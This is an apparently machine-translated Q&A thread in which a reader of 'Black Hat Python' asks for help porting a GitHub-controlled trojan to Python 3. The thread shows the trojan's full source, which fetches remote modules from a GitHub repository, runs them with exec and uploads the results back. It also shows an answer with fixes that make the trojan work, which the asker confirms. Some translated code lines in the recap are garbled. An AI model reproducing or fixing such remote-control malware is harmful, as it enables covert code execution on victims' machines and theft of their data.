Ошибка трассировки: Ошибка поиска: неизвестная кодировка
Я следую вместе с книгой Джастина Зейтца "Питон в черной шляпе". В этой главе мы пишем троян, использующий GitHub для команд и элементов управления и использующий github3.py для взаимодействия с GitHub. Проблема в том, что книга использует python2, и я пытаюсь сделать это в python3. Я получаю ошибку трассировки: "Ошибка поиска: неизвестная кодировка: charmap". Как я могу исправить эту ошибку?
Вот обратная связь:
Traceback (most recent call last):
File "trojan.py", line 102, in <module>
config = get_trojan_config()
File "trojan.py", line 44, in get_trojan_config
config_json = get_file_contents(trojan_config)
File "trojan.py", line 30, in get_file_contents
gh, repo, branch = connect_to_github()
File "trojan.py", line 24, in connect_to_github
repo = gh.repository("*redacted*", "*redacted*")
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/github3/github.py", line 1063, in repository
json = self._json(self._get(url), 200)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/github3/models.py", line 130, in _get
return self._session.get(url, **kwargs)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/sessions.py", line 521, in get
return self.request('GET', url, **kwargs)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/github3/session.py", line 81, in request
response = super(GitHubSession, self).request(*args, **kwargs)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/sessions.py", line 508, in request
resp = self.send(prep, **send_kwargs)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/sessions.py", line 618, in send
r = adapter.send(request, **kwargs)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/adapters.py", line 440, in send
timeout=timeout
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connectionpool.py", line 601, in urlopen
chunked=chunked)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connectionpool.py", line 346, in _make_request
self._validate_conn(conn)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connectionpool.py", line 850, in _validate_conn
conn.connect()
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connection.py", line 337, in connect
cert = self.sock.getpeercert()
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/contrib/pyopenssl.py", line 346, in getpeercert
(('commonName', x509.get_subject().CN),),
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/crypto.py", line 540, in __getattr__
nid = _lib.OBJ_txt2nid(_byte_string(name))
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py", line 112, in byte_string
return s.encode("charmap")
LookupError: unknown encoding: charmap
Вот исходный код:
import json
import base64
import sys
import time
import importlib
import random
import threading
import queue
import os
from github3 import login
trojan_id = "abc"
trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = queue.Queue()
def connect_to_github():
gh = login(username="", password="")
repo = gh.repository("", "")
branch = repo.branch("master")
return gh, repo, branch
def get_file_contents(filepath):
gh, repo, branch = connect_to_github()
tree = branch.commit.commit.tree.recurse()
for filename in tree.tree:
if filepath in filename.path:
print("[*] Found file %s", filepath)
blob = repo.blob(filename._json_data['sha'])
return blob.content
return None
def get_trojan_config():
global configured
config_json = get_file_contents(trojan_config)
config = json.load(base64.b64decode(config_json))
configured = True
for task in config:
if task['module'] not in sys.modules:
exec("import %s" % task['module'])
return config
def store_module_result(data):
gh, repo, branch = connect_to_github()
remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000))
repo.create_file(remote_path, "Commit message", base64.b64encode(data))
return
class GitImporter(object):
def __init__(self):
self.current_module_code = ""
def find_module(self, fullname, path=None):
if configured:
print("[*] Attempting to retrieve %s" % fullname)
new_library = get_file_contents("modules/%s" % fullname)
if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self
return None
def load_module(self, name):
module = importlib.import_module(name)
exec(self.current_module_code in module.__dict__)
sys.modules[name] = module
return module
def module_runner(module):
task_queue.put(1)
result = sys.modules[module].run()
task_queue.get()
store_module_result(result)
return
sys.meta_path =[GitImporter()]
while True:
if task_queue.empty():
config = get_trojan_config()
for task in config:
t = threading.Thread(target=module_runner, args = (task['module'],))
t.start()
time.sleep(random.randint(1, 10))
В целях конфиденциальности я намеренно удалил личную информацию из исходного кода и трассировки.
1 ответ
Для этой проблемы вы можете отредактировать файл:
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py
изменить строку, которая вызывает ошибку на :
return s.encode()
В функции get_file_contents
, замените:
tree = branch.commit.commit.tree.recurse()
с:
tree = branch.commit.commit.tree.to_tree().recurse()
в функции store_module_result
, замените:
repo.create_file(remote_path, "Commit message", base64.b64encode(data))
с:
repo.create_file(remote_path, "Commit message", base64.b64encode(data.encode()))
в методе load_module
, замените:
exec(self.current_module_code in module.__dict__)
с:
exec(self.current_module_code, module.__dict__)
Спасибо за помощь, указанную выше. Итак, три шага для исправления ошибки:
1) измените /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py, удалите "charmap"
2) измените на tree = branch.commit.commit.tree.to_tree(). Recurse ()
3) exec (self.current_module_code, module.Dict)
работаю сейчас. спасибо.